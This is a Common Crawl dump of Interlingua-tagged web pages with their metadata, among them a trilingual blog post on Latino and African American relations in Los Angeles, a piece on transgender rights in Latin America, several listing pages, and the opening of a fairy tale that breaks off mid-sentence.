in adolescence are extremely vulnerable because they are also detectable and quite visible,\" says Tamara Adrian, Co-Chair for Latin America of the International Lesbian and Gay Law Association.\nThe consequences of this process of body reconstruction in terms of health is so high that many transsexuals die at a rather young age.\nAlthough progress has been made in areas like gay marriage in countries such as Argentina, Uruguay and Mexico and, on the other side of the Atlantic, in Portugal and Spain, the social needs of these other sexual and cultural minorities have been almost completely neglected.\nNevertheless, there has been some progress. Some countries, like Uruguay, now allow people to live according to the gender identity that they prefer and provides for these changes in their national identity papers. But in Argentina things are different. Even though the Argentines have legalized gay marriage, only transsexuals who undergo surgery can change their legal sexual identity. And in most countries of Latin America, people whose current sexual identity is different from the identity recorded on their birth certificates continue to be the victims of all kinds of ridicule and social rejection.","id":"","dump":"CC-MAIN-2017-09","url":"https:\/\/hkyson.wordpress.com\/2010\/10\/04\/quando-le-identitate-sexual-non-se-corresponde-con-le-genitales-de-un-persona%E2%80%A6\/","date":"2017-02-19T14:45:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501169776.21\/warc\/CC-MAIN-20170219104609-00176-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.4292936623,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.4292936623096466, \"spa_Latn_score\": 0.37285828590393066, \"cbk_Latn_score\": 0.10094843804836273, \"eng_Latn_score\": 0.02233867160975933, \"ile_Latn_score\": 0.010324155911803246}","num_words":3728,"character_repetition_ratio":0.04,"word_repetition_ratio":0.007,"special_characters_ratio":0.174,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":0.456,"perplexity_score":2245.5,"cluster_detection":-1} +{"text":"Le blog de Miguel C.\nLe blog de Pablo C.\nLe blog de María Isabel\nLe blog de Juande\nLe blog de Emilio\nLe blog de Ángela\nLe blog de Fede\nLe blog de Ana A.\nLe blog de Celia O.\nLe blog de Agustín.\nLe blog de Susana.\nLe blog de Mara\nLe blog de Miguel\nLe blog de Gisel\nLe blog de Elena R.\nLe blog de Sara\nLe blog de María\nLe blog de Unai\nLe blog de Marta\nLe blog de Isabel\nLe blog de Pepe\nLe blog de Mario.\nLe blog de Ángel","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/picassofrancophone.blogspot.com\/p\/blogs-2-d-e-f.html","date":"2017-03-23T06:09:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218186780.20\/warc\/CC-MAIN-20170322212946-00310-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.6467024684,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.6467024683952332, \"spa_Latn_score\": 0.27246928215026855, \"fra_Latn_score\": 0.04056975618004799, \"cbk_Latn_score\": 0.02221601828932762}","num_words":123,"character_repetition_ratio":0.292,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":0.606,"perplexity_score":4596.9,"cluster_detection":-1} +{"text":"Monday, January 26, 2009\nProgresso inter le latinos affice le afroamericanos de Los Angeles\n(Languages of this post: Interlingua, Spanish, English)\nLeimert Park es un area del sud de Los Angeles ubi le majoria del population totevia es quasi completemente afroamerican. Su parte le plus cognoscite es Leimert Park Village, un parco circumferite per botecas, cafés e clubs de Jazz e de blues que pro multe afroamericanos evoca le Harlem in New York del passato quando illo esseva un centro del cultura afroamerican.\nLe parco mesme ha essite le test de diverse mobilisationes del comunitate afroamerican in le annos passate, como le recente vigilia post le execution de Stanley Tookie Williams e un secunde post le morte de Rosa Parks, le sancta cultural qui provocava le prime movimento de resistentia contra le racismo institutional del Statos Unite, le qual anque esseva le prime evento in le carriera del Martin Luther King, cuje marita, Coretta, anque apoiava constantemente le derectos gay in le Statos Unite in despecto del resistentia de multe ecclesias christian afroamerican. Pro nos, Coretta es un sancta cultural de un importantia special proque illa comprendeva que le oppression contra un minoritate es le oppression contra omnes.\n\"Pro me e pro multe afroamericanos involvite in e lucta social,\" diceva Najee Ali, un ex le activistas juvene le plus cognoscite de Los Angeles, \"Leimert Park es un loco de battalia social e politic. Io dicerea que illo es le anima e le corde del communitate afroamerican de iste citate.\"\nE ben que Ali adde que omnes es benvenite in Leimart Park, iste parte de Los Angeles es un loco de un importantia special pro le afroamericanos proque totevia illo es un del pauc locos del citate que illes etiam nunc pote pote nominar lor proprie territorio special in le medio de un seismo demographic que ha convertite le vicinitates e citates del sud angelin in areas con majoritates de latinos.\n\"Iste dies il ha un numero multo plus grande de latinos que negros in Los Angeles, in Inglewood, Compton, e areas circumferente,\" dice Ali. \"A un nivello national illes jam es le minoritate le plus numerose. Iste circumstantia ha producite un sensation de timor e de incertitude in le communitate afroamerican, proque illo ha coincidite con un periodo de perdita de empleos, de potentia politic, e de representation in multes ex le institutiones del societate american.\nIste tension ha causate conflictos racial inter latinos e afroamericanos in le gymnasios como Jefferson High School in le sud de Los Angeles, ubi studentes latinos e afroamericanos se confrontava le anno passate.\nAnte pauc septimanas, il habeva unes luctas serie inter prisioneros latinos e afroamericanos in le carcere central de Los Angeles, le quales produceva mortos e feritos. In le projectos de allogiamento public, como Nickerson Gardens in le sud e Ramona Gardens in le est de Los Angeles, le tensiones e le violentia occurre quasi omne le dies.\nLe presente movimento pro le derectos del immigrantes ha causate un currente de tension inter alicun afroamericanos, qui vide con nerviositate como le immigrantes gania spatios e occupa empleos que antea habeva afroamericanos.\n\"Multe afroamericanos resenti iste movimento proque illes senti que su proprie lucta, que ha durate tante tempore, ha essite reimplaciate per le lucta in favor del immigrantes,\" diceva Earl Ofari Hutchinson, un comentarista e autor afroamerican qui ha essite durmente criticate, ille dice, per alicunos de su communitate pro comparar le movimento pro le immigrantes con el movimento pro derectos civil del negros in le annos 60 (sexanta).\nIl non es un coincidentia que iste problemas e tensiones occurre in un ambiente ubi ambe communitates possede in commun problemas de superpopulation e le mal conditiones economic e social que los accompania. Iste difficultates magnifica le resentimentos, affirma Connie Rice, un advocata de derectos civil de Los Angeles.\n\"Io crede que le immigrantes reduce nostre possibilitates de empleo, e illes mesmo non es citatanos como nos. Il non es juste que post tante luctas per nostre communitate pro accomplir un pauco de progresso, ahora veni iste avalanche de immigrantes qui nos roba omne lo que nos ha accomplite,\" dice Ralph, un mechanico de profession. \"Io comprende que illes vole un vita melior, ma io non les vole hic si nos debe sacrificar nostre propre progresso social.\"\nMa iste opiniones extreme non picta un realitate complete. Quasi duo milliones de latinos coexista con un medie million de afroamericanos die post die in le vicinitates del citate, in le empleos, in le stratas e autobuses, e in cata angulo de Los Angeles.\n\"In un citate como Los Angeles, il es importantissime comprender que omne le citate nunc cambia rapidissimemente, que le latinos va a esser le majoritate, que nos le afroamericanos debe construer melior relationes con illes e que le burgomaestro es un latino. Nos debe acceptar ille realitate,\" diceva Lance Williams, un membro del Prime Ecclesia Methodiste Episcopal African (First AME Church) in le sud de Los Angeles, le plus famose de tal ecclesias in le citate.\nMultes oblida que, como le romanos diceva, \"Amor omnia vincere potest.\" Pro Marcel, un juvene studente afroamerican de South West College, in le sud de Los Angeles, le medios presenta solmente le problemas extreme inter le duo gruppos.\n\"Io ha un fidianta latina, de Guadalajara, e io mesmo vadeva con illa a Mexico pro visitar su citate e su familia. Su patres usualmente face omne lo que illes pote pro facer me sentir un parte del familia,\" dice Marcel, que ante pauco serviva in le guerra in Iraq. \"Illac in le guerra, omne nos, negros e latinos, luctava conjunctemente in le battalias como fratres.\"\n(In le battalia, il pare, il es multo facile oblidar que le systema american anque les futue equalmente pro inricchir le corporationes qui ha comprate le servicios de nostre governamento federal pro proteger lor interesses economic in le Medio Oriente de maniera que illos pote futuer omne le resto del pais.)\n---\nProgreso entre los latinos afecta a los afroamericanos.\nLeimert Park es una área del sur de Los Ángeles donde la mayoría de la población todavía es casi completamente afroamericana. Su parte más conocida es Leimert Park Villege, un parque rodeada por tiendas, cafés e clubs de jazz e de blues que para muchos afroamericanos evoca el Harlem neoyorquino cuando era un centro de la cultura negra estadounidense.\nEl parque mismo ha sido testigo de diversas movilizaciones de la comunidad afroamericana a lo largo de los años, como la recente vigilia por la ejecución de Stanley Tookie Williams e una secunda después de la muerte de Rosa Parks, la santa cultural que provocó el primer movimiento de resistencia contra el racismo institucional de los Estados Unidos, el cual fue también el primer evento de la carrera de Martin Luther King, cuya esposa, Coretta Scott King, también apoyó constantemente los derechos gay en los Estados Unidos a pesar de la resistencia de muchas iglesias cristianas afroamericanas. Para nosotros, Coretta es una santa cultural de una importancia especial porque comprendió que la opresión contra una minoridad es la opresión contra todas.\n\"Para mí y para muchos afroamericanos involucrados en la lucha social,\" dijo Najee Ali, uno de los activistas jóvenes más conocidos de Los Ángeles, \"Leimert Park es un lugar de batalla social y político. Yo diría que es el alma y corazón de la comunidad afroamericana de esta ciudad.\"\nY aunque Ali agrega que todo el mundo es bienvenido en Leimert Park, esta parte de Los Ángeles es un lugar especialmente importante para los afroamericanos porque todavía es uno de los pocos lugares de la ciudad que aún pueden llamar su propio territorio especial en medio de un terremoto demográfico que ha convertido a los vecindarios y ciudades del sur angelino en áreas de mayoría latina.\n\"Estos días hay muchos más negros que latinos en la ciudad de Los Ángeles, en Inglewood, Compton y alrededores,\" dice Ali. \"A nivel nacional ya son la minoría más numerosa. Esta circunstancia ha generado una sensación de miedo y de incertidumbre en la comunidad afroamericana, ya que ha coincidido con un período de pérdida de trabajos, de poder político y de representación en muchas de las instituciones de la sociedad americana.\"\nTal tensión ha causado peleas raciales entre latinos y afroamericanos en escuelas secundarias como la Jefferson, en el sur de Los Ángeles, donde estudiantes latinos y afroamericanos se enfrentaron el año pasado.\nHace pocas semanas, había unas peleas serias entre presos latinos y afroamericanos de la cárcel central de Los Ángeles, las cuales produjeron muertos y heridos. En los projectos de vivienda pública, como Nickerson Gardens, en el sur y Ramona Gardens, en el Este de los Ángeles, las tensiones y la violencia occurren casi todos los días.\nEl presente movimiento por los derechos de los inmigrantes ha causado una corriente de tensión entre algunos afroamericanos, que ven con nerviosismo como los inmigrantes ganan espacios y ocupan empleos que antes realizaban la populación afroamericana.\n\"Muchos afroamericanos están resentidos con este movimiento, porque sienten que su propia lucha, que ha durado tanto tiempo, ha sido suplantada por la lucha en favor de los inmigrantes\", dijo Earl Ofari Hutchinson, un comentarista y escritor afroamericano que dice haber sido duramente criticado por algunos en su comunidad por comparar el movimiento pro inmigrante con el de los derechos civiles de los negros en los años 60 (sesenta).\nNo es coincidencia que estos problemas y tensiones occurran en un entorno en el que ambas comunidades comparten los problemas de la sobrepoblación y las malas condiciones económicas y sociales que acompañan tales condiciones. Estas dificultades magnifican los resentimientos, afirma Connie Rice, abogada de derechos civiles de Los Ángeles.\n\"Creo que los inmigrantes reducen nuestras posibilidades de empleo, y ni siquiera son ciudadanos como nosotros. No es justo, que después de tanto luchar por nuestra comunidad para lograr un poco de progreso económico y social, ahora venga esta avalancha de inmigrantes que nos roba todo lo que hemos logrado\", espresó Ralf, de profesión mecánico. \"Yo entiendo que quieren una vida mejor, pero no los quiero aquí si debemos sacrificar nuestro propio progreso social.\"\nPero estas opiniones extremas no pintan una realidad completa. Casi dos millones de latinos coexisten con medio millón de afroamericanos día con día en los vecindarios de la ciudad, en los trabajos, las calles, los autobuses y en cada ricón de los Ángeles.\n\"En una ciudad como Los Ángeles, es importantísimo entender que todo está cambiando rapidísamente, que los latinos van a ser la mayoría, que los afroamericanos tenemos que construir mejores relaciones con ellos y que el alcalde es un latino. Tenemos que aceptar esa realidad\", dijo Lance Williams, un parroquiano de la Primera Iglesia Metodista Episcopal Africana (First AME Church) en el sur de Los Ángeles, la más famosa de las iglesias afroamericanas de la ciudad.\nMuchos olvidan que, como los romanos decían, \"Amor omnia vincere potest.\" Para Marcel, un joven afroamericano estudiante de South West College, en el sur de Los Ángeles, los medios presentan sólo los problemas extremos entre los dos grupos.\n\"Yo tengo una novia latina, de Guadalajara, y hasta fui con ella a México a visitar su ciudad y su familia. Sus padres usalmente hacen todo lo que puedan por hacerme sentir parte de la familia\", dice Marcel, quien hace poco sirvió en la guerra en Irak. \"Allá en la guerra, los negros y latinos luchábamos juntos en las batallas como hermanos.\n(En la batalla, parece, es muy fácil olvidar que el sistema americano también los está jodiendo\/chingando igualmente para enriquecer las corporaciones que han comprado le servicios de nuestro gobierno federal en el Medio Oriente para que también puedan joder\/chingar al resto del país.)\n---\nLatino progress affects African Americans\nLeimert Park is an area of South Los Angeles where the majority of the population is still almsot completely African American. Its most well-known part is Leimert Park Village, a park surrounded by stores, cafes, and jazz and blues clubs that for many African Americans evoke the past of New York's Harlem when it was a center of Afro-American culture.\nThe park itself has gone through various African American community mobilizations in past years, such as the recent vigil after the execution of Stanley Tookie Williams and a second after the death of Rosa Parks, the cultural saint who provoked the first resistance movement against the institutional racism of the United States, which was also the first event in the career of Martin Luther King, whose wife, Coretta, also constantly supported gay rights in the United States despite the resistance of many African American Christian churches. For us, Coretta is a cultural saint of special importance because she understood that oppression against one minority is oppression against every one of them.\n\"For me and for many African Americans involved in social conflict,\" said Najee Ali, one of the most well-known young activists of Los Angeles, \"Leimert Park is the heart and soul of the African American community of this city.\"\nAnd (al)though Ali adds that that everyone is welcome Leimert Park, this part of Los Angeles is an especially important place for African Americans because it is one of the few places in the city that even now they can consider their own special territory\/turf in the middle of a demographic earthquake that has changed the neighborhoods and cities in the south of LA into areas with latino majorities.\n\"These days there's a much larger number of latinos than blacks in Los Angles, in Inglewood, in Compton, and their surrounding areas,\" Ali says. \"At a national level they are already the largest minority. This circumstance has produced feelings of fear and uncertainty in the African American community, because it has come at a time of lost jobs, political power, and representation in many institutions in American society.\nThis tension has caused racial conflicts among latinos and Blacks. in schools such as Jefferon High in the south of Los Angeles, where latino and African American students broke (out) into fighting last year.\nA few weeks ago there were some serious fights among latino and African Americans in the central jail of Los Angeles that wounded and killed some prisoners. In public housing projects, such as Nickerson Gardens in South Los Angeles and Ramona Gardens in East LA, violence is an almost daily occurrence.\nThe current movement for immigrant rights has caused tension among some African Americans, who anxiously see how immigrants gain space and get jobs that they themselves used to have.\n\"Many African Americans resent this movement because they feel that their own fight, which has lasted for such a long time, has been replaced by a fight favoring immigrants,\" said Earl Ofari Hutchinson, a commentator and African American writer who has been heavily criticized, he says, by some people in his community for comparing the movement for immigrant rights with the civil-rights movement for blacks in the 1960s.\nIt is not a coincidence that these problems and tensions are happening in an environment where both communities have in common problems of overpopulation and the depressed economic and social conditions that go with them. These difficulties magnify the resentments, affirms Connie Rice, a civil-rights lawyer in Los Angeles.\n\"I believe that immigrants reduce our possibilities for employment, and they themselves are not citizens the way we are. It is not fair that after so many fights by our community to achieve a little progress we now have an avalanche of immigrants who are robbing us of everything we have accomplished,\" says Ralph a professional mechanic. \"I understand that they want a better life, but I don't want them here if we have to sacrifice our own social progress.\"\nBut these extreme pictures don't show a complete reality. Almost two million latinos coexist with a half a million African Americans day after day in the neighborhoods of the city, on the job, in the streets and the buses and in every corner of Los Angeles.\n\"In a city like Los Angeles, it is very important to understand that the entire city is now changing very quickly\/rapidly, that latinos are going to be the majority, that we African Americans have to build up better relations with them, and that the mayor is a Latino. We must accept that reality,\" said Lance Williams, a member of the First African American Methodist Episcopal (First AME) church in South Los Angeles, the most famous of such churches in the city.\nMany forget that, as the Romans said, \"Amor omni vincere potest.\" For Marcel, a young African American student of South West College, in the south of Los Angeles, the media present only the extreme problems between the two groups.\n\"I have a latina girlfriend from Guadalajara, and I myself went to Mexico with her to visit her city and her family. Her parents usually do everything possible to make me feel like part of the family,\" says Marcel, who not long ago served in the war in Iraq. \"There, in the war, all of us, blacks and latinos, fought in battles together like brothers.\"\n(In war, it seems, it is very easy to forget that the American system is also fucking them over equally to enrich the corporations that have bought the services of our federal government to protect their economic interests in the Middle East so that can they fuck over the rest of the country.)\nPosted by hkyson at 4:16 AM","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/01\/progresso-inter-le-latinos-affice-le.html","date":"2017-04-25T00:55:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120001.0\/warc\/CC-MAIN-20170423031200-00149-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.4412123561,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.44121235609054565, \"spa_Latn_score\": 0.39229926466941833, \"cbk_Latn_score\": 0.0644485354423523, \"eng_Latn_score\": 0.02869989350438118}","num_words":4464,"character_repetition_ratio":0.061,"word_repetition_ratio":0.004,"special_characters_ratio":0.187,"stopwords_ratio":0.031,"flagged_words_ratio":0.0,"lang_id_score":0.476,"perplexity_score":2041.6,"cluster_detection":-1} +{"text":"Book Today Here https:\/\/www.hotelscombined.com\/Hotel\/Le_Blanc_Spa_Resort_Cancun.htm?a_aid=141578\nle blanc spa resort\nle blanc resort\nle blanc spa and resort\nhotel le blanc\nle blanc hotel & spa\nle blanc hotel\nle blanc hotel e spa\nle blanc spa resort cancun mexico\nle blanc spa resort cancún mexico\nleblanc leblanc top leblanc spa resort\nleblanc exclusive resort","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/worldofhotel.com\/le-blanc-spa-resort-cancun\/","date":"2017-04-27T22:43:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122629.72\/warc\/CC-MAIN-20170423031202-00241-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.3226999044,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.3226999044418335, \"nap_Latn_score\": 0.12959356606006622, \"lmo_Latn_score\": 0.09758433699607849, \"fra_Latn_score\": 0.061617832630872726, \"fur_Latn_score\": 0.03860726207494736, \"cbk_Latn_score\": 0.03167629614472389, \"pap_Latn_score\": 0.020241884514689445, \"gmh_Latn_score\": 0.019972318783402443, \"slv_Latn_score\": 0.012845170684158802, \"ncl_Latn_score\": 0.012414771132171154, \"dag_Latn_score\": 0.011599267832934856, \"roh_Latn_score\": 0.01082593947649002, \"nov_Latn_score\": 0.010507023893296719, \"frp_Latn_score\": 0.01041888166218996}","num_words":97,"character_repetition_ratio":0.182,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":0.287,"perplexity_score":16304.1,"cluster_detection":-1} +{"text":"Passages in Paris Ottieni link Facebook Twitter Pinterest Google+ Email novembre 14, 2015 Le novembre 2015 in Paris sera memorate como le mense de aggressiones de terrorismo. Io ha visitate Paris un pauc dies ante le attaccos, quand io totevia poteva sentir felicitate e nostalgia in passages. Interlingua 旅行 Ottieni link Facebook Twitter Pinterest Google+ Email Commenti Posta un commento","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/rondelion.blogspot.com\/2015\/11\/passages-in-paris.html","date":"2017-09-20T23:26:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687582.7\/warc\/CC-MAIN-20170920232245-20170921012245-00199.warc.gz","language":"ina","language_score":0.9317394495,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.9317394495010376, \"ita_Latn_score\": 0.06092076003551483}","num_words":91,"character_repetition_ratio":0.095,"word_repetition_ratio":0.195,"special_characters_ratio":0.193,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.944,"perplexity_score":3409.8,"cluster_detection":-1} +{"text":"Categoría del Aviso*\nSelecciona una Categoría\nAbarth alquiler compra venta de vehiculoAlfa Romeo alquiler compra venta de vehiculoAspid alquiler compra venta de vehiculoAston Martin alquiler compra venta de vehiculoAudi alquiler compra venta de vehiculoBentley alquiler compra venta de vehiculoBMW alquiler compra venta de vehiculoBugatti alquiler compra venta de vehiculoCadillac alquiler compra venta de vehiculoCaterham alquiler compra venta de vehiculoChevrolet alquiler compra venta de vehiculoChrysler alquiler compra venta de vehiculoCitroen alquiler compra venta de vehiculoCorvette alquiler compra venta de vehiculoDacia alquiler compra venta de vehiculoDaihatsu alquiler compra venta de vehiculoDodge alquiler compra venta de vehiculoFerrari alquiler compra venta de vehiculoFiat alquiler compra venta de vehiculoFord alquiler compra venta de vehiculoGTA alquiler compra venta de vehiculoHonda alquiler compra venta de vehiculoHyundai alquiler compra venta de vehiculoInfiniti alquiler compra venta de vehiculoIveco alquiler compra venta de vehiculoJaguar alquiler compra venta de vehiculoJeep alquiler compra venta de vehiculoKia alquiler compra venta de vehiculoLada alquiler compra venta de vehiculoLamborghini alquiler compra venta de vehiculoLancia alquiler compra venta de vehiculoLand Rover alquiler compra venta de vehiculoLexus alquiler compra venta de vehiculoLotus alquiler compra venta de vehiculoMahindra alquiler compra venta de vehiculoMaserati alquiler compra venta de vehiculoMaybach alquiler compra venta de vehiculoMazda alquiler compra venta de vehiculoMercedes alquiler compra venta de vehiculoMini alquiler compra venta de vehiculoMitsubishi alquiler compra venta de vehiculoMorgan alquiler compra venta de vehiculoNissan alquiler compra venta de vehiculoOpel alquiler compra venta de vehiculoPagani alquiler compra venta de vehiculoPeugeot alquiler compra venta de vehiculoPorsche alquiler compra venta de vehiculoRenault alquiler compra venta de vehiculoRolls Royce alquiler compra venta de vehiculoSaab alquiler compra venta de vehiculoSeat alquiler compra venta de vehiculoSkoda alquiler compra venta de vehiculoSmart alquiler compra venta de vehiculoSsangyong alquiler compra venta de vehiculoSubaru alquiler compra venta de vehiculoSuzuki alquiler compra venta de vehiculoTata alquiler compra venta de vehiculoToyota alquiler compra venta de vehiculoVolkswagen alquiler compra venta de vehiculoVolvo alquiler compra venta de vehiculoz. Otras Marcas\nLos comentarios están cerrados.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.ventadevehiculo.com\/anuncios-gratis\/publicar\/","date":"2017-10-20T16:25:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824226.31\/warc\/CC-MAIN-20171020154441-20171020174441-00789.warc.gz","language":"ina","language_score":0.4307672083,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.4307672083377838, \"ile_Latn_score\": 0.2823512554168701, \"spa_Latn_score\": 0.05595535412430763, \"cbk_Latn_score\": 0.05411380156874657, \"frp_Latn_score\": 0.04840557277202606, \"chr_Latn_score\": 0.017249438911676407, \"tzo_Latn_score\": 0.01430816575884819, \"por_Latn_score\": 0.012082121334969997, \"nuz_Latn_score\": 0.010533556342124939}","num_words":660,"character_repetition_ratio":0.615,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.439,"perplexity_score":9230.0,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite carrelli elevatori » Aste per le vendite carrelli elevatori BOBCATAste per le vendite BTAste per le vendite CLARKAste per le vendite HAULOTTEAste per le vendite HYSTERAste per le vendite JUNGHEINRICHAste per le vendite LINDEAste per le vendite MANITOUAste per le vendite MERLOAste per le vendite TOYOTAAste per le vendite YALE","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/autoline-eu.it\/-\/Aste\/carrelli-elevatori\/BOBCAT--a5c386tm2494","date":"2017-10-24T00:02:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187827662.87\/warc\/CC-MAIN-20171023235958-20171024015958-00346.warc.gz","language":"ina","language_score":0.8134462237,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8134462237358093, \"ita_Latn_score\": 0.05200865864753723, \"nap_Latn_score\": 0.0505836047232151, \"frp_Latn_score\": 0.044827863574028015, \"lmo_Latn_score\": 0.019500574097037315}","num_words":108,"character_repetition_ratio":0.406,"word_repetition_ratio":0.04,"special_characters_ratio":0.167,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.953,"perplexity_score":2867.3,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite carrelli elevatori » Aste per le vendite carrelli elevatori LONKINGAste per le vendite BTAste per le vendite CATERPILLARAste per le vendite CROWNAste per le vendite HYSTERAste per le vendite JUNGHEINRICHAste per le vendite LINDEAste per le vendite NISSANAste per le vendite TOYOTAAste per le vendite YALE","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/autoline-eu.it\/-\/Aste\/carrelli-elevatori\/LONKING--a5c386tm4068","date":"2017-10-19T13:10:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823284.50\/warc\/CC-MAIN-20171019122155-20171019142155-00702.warc.gz","language":"ina","language_score":0.6875391603,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6875391602516174, \"frp_Latn_score\": 0.09203239530324936, \"nap_Latn_score\": 0.07985545694828033, \"ita_Latn_score\": 0.0776040107011795, \"lmo_Latn_score\": 0.03766421228647232}","num_words":103,"character_repetition_ratio":0.401,"word_repetition_ratio":0.043,"special_characters_ratio":0.166,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.945,"perplexity_score":2643.0,"cluster_detection":-1} +{"text":"White Rhinoceros, South Africa\nStock Images\n43 results\nWhite rhinoceros, South AfricaWhite rhinoceros, South AfricaWhite rhinoceros grazing - South AfricaWhite rhinoceros in dustWhite rhinocerosWhite rhinocerosWhite rhinoceros and calfWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros drinkingWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros drinking waterWhite rhinoceros in dustWhite rhinocerosWhite rhinoceros in dustWhite rhinocerosWhite rhinoceros drinking waterWhite rhinocerosMud-covered white rhinocerosWhite rhinoceros pairWhite rhinoceros pairWhite rhinoceros pairWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros pairWhite rhinocerosWhite rhinocerosWhite rhinoceros drinkingWhite rhinoceros drinkingWhite rhinoceros portraitWhite rhinoceros drinkingWhite rhinocerosWhite rhinoceros","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.dreamstime.com\/search.php?srh_field=White%20rhinoceros,%20South%20Africa&s_rf=y&s_ed=y&s_sp=Ecophoto&s_video=n&s_ph=y&s_sm=any","date":"2017-11-24T23:24:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934808972.93\/warc\/CC-MAIN-20171124214510-20171124234510-00312.warc.gz","language":"ina","language_score":0.7674509287,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7674509286880493, \"eng_Latn_score\": 0.06613294035196304, \"fil_Latn_score\": 0.0354795940220356, \"ben_Latn_score\": 0.013959739357233047, \"bcl_Latn_score\": 0.011914440430700779}","num_words":290,"character_repetition_ratio":0.498,"word_repetition_ratio":0.705,"special_characters_ratio":0.094,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.165,"perplexity_score":3280.3,"cluster_detection":-1} +{"text":"Wednesday, January 14, 2009\nLe sirena infelice\n(Languages of this post: Interlingua, English)\nIlle anno, le superpopulation attingeva le habitantes del profunditates tanto como illos del terra. Omne le fluvios e lacos esseva plen de sirenas, e le tritones debeva mitter le juvenes que illes guardava a in le piscinas del parcos pro assecurar que lor pelle non se siccarea.\nEx iste circumstantia un sirena juvene e gratiose veniva a occupar un oval piscina blanc post le fin de su construction.\nLe piscina se trovava in le jardin de un parve e attractive casa. In le aqua crystallin se reflecteva le folios de palmas, e durante le vesperes lasse le inebriante fragrantia de flores de orangiero saturava le aer. Ben que le sirena juvene habeva omne ration pro esser felice in su focar nove, illa extendeva su labio inferior como un signal de rancor e se submergeva in le parte le plus profunde del bassino.\n\"Que vole tu de me,\" demandava illa al triton. \"Tu ha un piscina splendide pro te. Omne le altere sirenas vive in aquarios con solmente assatis spatio pro extender lor alettas.\"\n\"Ma illas pote jocar con le pisces,\" diceva le sirena iratemente. \"Illes pote competir in cursas con illos, montar los, celar se de illos inter le plantas, o glissar a in scalias vacue durante que io mesme non pote facer plus que natar in circulos. Io es enoiate usque le puncto de morir!\" illa se lamentava, lanceante al triton un reguardo de reproche.\nLe surprisa del triton deveniva cholera.\n\"Tu carga es vigilar de maniera que nemo ha un accidente in le aqua. E de que pensa tu? Solmente de tu placer. Le juvenes non ha ulle senso de responsabilitate in iste dies,\" clamava ille iratemente. \"Le sol cosa que vos interessa es vostre proprie distraction e amusamento. Nos le majores debe facer omne le travalio, durante que vos joca perdite in vostre distractiones, e vos non es bon pro ullo.\"\nIlle esseva tan irritate que ille sasiva e agitava le sirena juvene tan fortemente que diverse squamas sue cadeva al fundo del piscina. Postea ille la liberava e disappareva.\nSol de novo, le sirena lassava que su gracile e gratiose corpore glissava trans le aqua, con un sol unda quasi imperceptibile revelante su presentia.\nNemo la videva. Le homine qui veniva con un rete de manico longe pro remover folios ex le piscina non la notava. Le femina qui arrivava pro prender le sol sur un flotator de cauchu jalne e qui critava quando un unda sur le aqua subito molliava su costume de banio non la notava. Non la notava le infante del femina, qui repeva sur su brachios e gambas in le jardin e cuje critos acute enoiava le sirena usque veniva su governante e le portava via.\nSolmente le can, un vetule setter con capillos rubie, veniva curriente e comenciava a latrar durante que le sirena natava in le piscina. Agitante le cauda, illo bassava su capite e quasi cadeva a in le aqua durante que ille essayava a toccar la con su pata anterior.\n\"Que passa con ille can?\" le femina diceva a se in voce alte. Illa tunc quitava le piscina sur le 